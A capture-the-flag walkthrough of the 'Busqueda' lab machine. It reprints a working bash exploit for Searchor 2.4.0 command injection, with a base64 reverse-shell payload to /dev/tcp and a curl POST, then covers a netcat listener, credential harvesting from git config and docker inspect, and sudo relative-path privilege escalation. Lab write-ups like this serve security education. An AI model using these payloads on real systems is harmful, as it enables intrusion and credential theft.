Info
The information provided on this site is intended for educational purposes only. While we strive to offer accurate and up-to-date content regarding hacking and security, we cannot be held responsible for any misuse or illegal activity conducted with the knowledge gained from this site. Users are solely responsible for their actions and should use this information ethically and within the boundaries of the law.
Enumeration
Fist let’s start with a nmap scan as usual.
Nmap Scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-26 08:51 -03
Nmap scan report for 10.10.11.208
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.42 seconds
Here we can see just 2 open ports, 22 and 80, let’s first check the HTTP server on our browser.
Initial analysis
On we first enter the site to tries to redirect us to http://searcher.htb/ so, let’s add this to /etc/hosts:
echo "10.10.11.208 searcher.htb"|sudo tee -a /etc/hosts
Nos going to http://searcher.htb/ we can see this:
This is an interface for a search app, but the interesting part is on the bottom, Powered by Flask and Searchor 2.4.0, on a quick google search we can find that Searchor 2.4.0 is vulnerable to Arbitrary command injection. I as able to find this exploit on GitHub made by nikn0laty:
#!/bin/bash -
default_port="9001"
port="${3:-$default_port}"
rev_shell_b64=$(echo -ne "bash -c 'bash -i >& /dev/tcp/$2/${port} 0>&1'" | base64)
evil_cmd="',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment"
plus="+"
echo "---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---"
if [ -z "${evil_cmd##*$plus*}" ]
then
evil_cmd=$(echo ${evil_cmd} | sed -r 's/[+]+/%2B/g')
fi
if [ $# -ne 0 ]
then
echo "[*] Input target is $1"
echo "[*] Input attacker is $2:${port}"
echo "[*] Run the Reverse Shell... Press Ctrl+C after successful connection"
curl -s -X POST $1/search -d "engine=Google&query=${evil_cmd}" 1> /dev/null
else
echo "[!] Please specify a IP address of target and IP address/Port of attacker for Reverse Shell, for example:
./exploit.sh <TARGET> <ATTACKER> <PORT> [9001 by default]"
fi
Usage:
./exploit.sh site.com IP PORT
Using this exploit, we will be able to get a shell using netcat. On the exploit page, there is a brief comment on how the exploit works, there it says:
In file src/sarchor/main.py
of Searchor <= 2.4.2
there is a function call eval()
:
@click.argument("query")
def search(engine, query, open, copy):
try:
url = eval( # <<< See here
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)
click.echo(url)
searchor.history.update(engine, query, url)
if open:
click.echo("opening browser...")
...
Which can provide the ability to execute arbitrary code using functions such as:
__import__('os').system('<CMD>')
__import__('os').popen('<CMD>').read()
etc
That is not difficult to understand what is happening, on the eval() function there is a query argument that is not being sanitized, therefor, we can inject a string containing a single quote (‘) to close the existing single quote, than we can parse any commands we would like, in that case, ',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment
. Which will create a reverse shell to our IP.
Alternatively you can open Burp Suite and manually use the curl commands use in the exploit to parse your commands, but this seems inefficient to me, we can just make a reverse shell and execute whatever command we want.
Gaining Access
As said before, we will use this exploit to get our reverse shell:
┌──(atropos㉿Atropos)-[~/tmp]
└─$ ls
exploit.sh linpeas.sh
┌──(atropos㉿Atropos)-[~/tmp]
└─$ ./exploit.sh searcher.htb 10.10.14.12 8080
┌──(atropos㉿Atropos)-[~]
└─$ nc -lnvp 8080
listening on [any] 8080 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.208] 38350
bash: cannot set terminal process group (1683): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$
Once we get a reverse shell on our netcat we need to create a full shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo;fg
export TERM=xterm
Then we can get our user flag:
svc@busqueda:/var/www/app$ ls /home/svc
user.txt
svc@busqueda:/var/www/app$
Privilege Escalation
Ok, as usual we can try using sudo -l to see what are the commands we can execute as root, if any, but we can’t have much success with that for now. One thing we can try is using linpeas we see if it catches something interesting. There is some thins highlighted by linpeas, but I didn’t find a way to use then, maybe there is, but I didn’t want to dig deeper now.
My third approach is to look for some data leak in the machine. On the /var/www/app there is a git directory that we can look freely:
svc@busqueda:/var/www/app$ ls -al
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr 3 14:32 .
drwxr-xr-x 4 root root 4096 Apr 4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec 1 2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Jul 26 13:59 .git
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 templates
svc@busqueda:/var/www/app$ cd .git
svc@busqueda:/var/www/app/.git$ ls
branches config HEAD index logs refs
COMMIT_EDITMSG description hooks info objects
svc@busqueda:/var/www/app/.git$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
svc@busqueda:/var/www/app/.git$
There on the url section we can see a fascinating thing, fist, in plain text user and password for the user cody, second, we can see a subdomain gitea.searcher.htb. First let’s try to use those credentials to login into ssh:
┌──(atropos㉿Atropos)-[~/tmp]
└─$ ssh svc@10.10.11.208
svc@10.10.11.208's password:
<Snip>
svc@busqueda:~$
Well if worked, we had a shell already, but now we can try jh1usoih2bkjaspwe92 for a password for sudo -l. But let’s see another thing now, let’s add gitea.searcher.htb to /etc/hosts and try to access it:
┌──(atropos㉿Atropos)-[~/tmp]
└─$ echo "10.10.11.208 gitea.searcher.htb" | sudo tee -a /etc/hosts
Now let’s try to access http://gitea.searcher.htb
Ok, we have the credentials for cody, we can check for some other files, but those will probably be the app that on the machine. Now let’s try to use sudo -l using jh1usoih2bkjaspwe92 as password:
svc@busqueda:~$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
And there we have it, we can use a python3 script as root, in this case the /opt/scripts/system-checkup.py script let’s run it and see what it does:
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py -h
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
Notice that on the sudo -l output, it shows a * in front of the script, this means that we need to provide some kind of argument to the script, so i just guessed the -h, but you could use anything to test it.
Out of the bat, we see some docker references, so the apps(gitea and mysql) that are running on this machine are running on dockers. We can check on docker’s status using systemctl:
The script we have access we can use the argument docker-ps, let’s see what it outputs:
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 6 months ago Up 2 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 6 months ago Up 2 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
Here we have access to the container ID for the containers in docker, we can probably use the other part of the script available to us, with the docker-inspect we can see some information about a docker container:
┌──(atropos㉿Atropos)-[~/tmp]
└─$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' 960873171e2e
{
"Hostname": "960873171e2e",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"ExposedPorts": {
"22/tcp": {},
"3000/tcp": {}
},
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"USER_UID=115",
"USER_GID=121",
"GITEA__database__DB_TYPE=mysql",
"GITEA__database__HOST=db:3306",
"GITEA__database__NAME=gitea",
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"USER=git",
"GITEA_CUSTOM=/data/gitea"
],
"Cmd": [
"/bin/s6-svscan",
"/etc/s6"
],
"Image": "gitea/gitea:latest",
"Volumes": {
"/data": {},
"/etc/localtime": {},
"/etc/timezone": {}
},
"WorkingDir": "",
"Entrypoint": [
"/usr/bin/entrypoint"
],
"OnBuild": null,
"Labels": {
"com.docker.compose.config-hash": "e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515",
"com.docker.compose.container-number": "1",
"com.docker.compose.oneoff": "False",
"com.docker.compose.project": "docker",
"com.docker.compose.project.config_files": "docker-compose.yml",
"com.docker.compose.project.working_dir": "/root/scripts/docker",
"com.docker.compose.service": "server",
"com.docker.compose.version": "1.29.2",
"maintainer": "maintainers@gitea.io",
"org.opencontainers.image.created": "2022-11-24T13:22:00Z",
"org.opencontainers.image.revision": "9bccc60cf51f3b4070f5506b042a3d9a1442c73d",
"org.opencontainers.image.source": "<https://github.com/go-gitea/gitea.git>",
"org.opencontainers.image.url": "<https://github.com/go-gitea/gitea>"
}
}
Here we can see the credentials for the administrator on the GITEA__database__PASSWD, in this case it is yuiu1hoiu4i5ho1uh. We can use those credentials on the gitea and check the source code of this python script that we have been using:
#!/bin/bash
import subprocess
import sys
actions = ['full-checkup', 'docker-ps','docker-inspect']
def run_command(arg_list):
r = subprocess.run(arg_list, capture_output=True)
if r.stderr:
output = r.stderr.decode()
else:
output = r.stdout.decode()
return output
def process_action(action):
if action == 'docker-inspect':
try:
_format = sys.argv[2]
if len(_format) == 0:
print(f"Format can't be empty")
exit(1)
container = sys.argv[3]
arg_list = ['docker', 'inspect', '--format', _format, container]
print(run_command(arg_list))
except IndexError:
print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
exit(1)
except Exception as e:
print('Something went wrong')
exit(1)
elif action == 'docker-ps':
try:
arg_list = ['docker', 'ps']
print(run_command(arg_list))
except:
print('Something went wrong')
exit(1)
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
if __name__ == '__main__':
try:
action = sys.argv[1]
if action in actions:
process_action(action)
else:
raise IndexError
except IndexError:
print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
print('')
print(' docker-ps : List running docker containers')
print(' docker-inspect : Inpect a certain docker container')
print(' full-checkup : Run a full system checkup')
print('')
exit(1)
On the full-checkup elif we can see that the script is using a relative path to execute the full-checkup.sh so we can create our own script in a folder that we can write and execute it. In this case, we just need to cat the /root/root.txt, but we could create a script with a reverse shell to get a root shell:
cat /root/root.txt
And there we have our flag.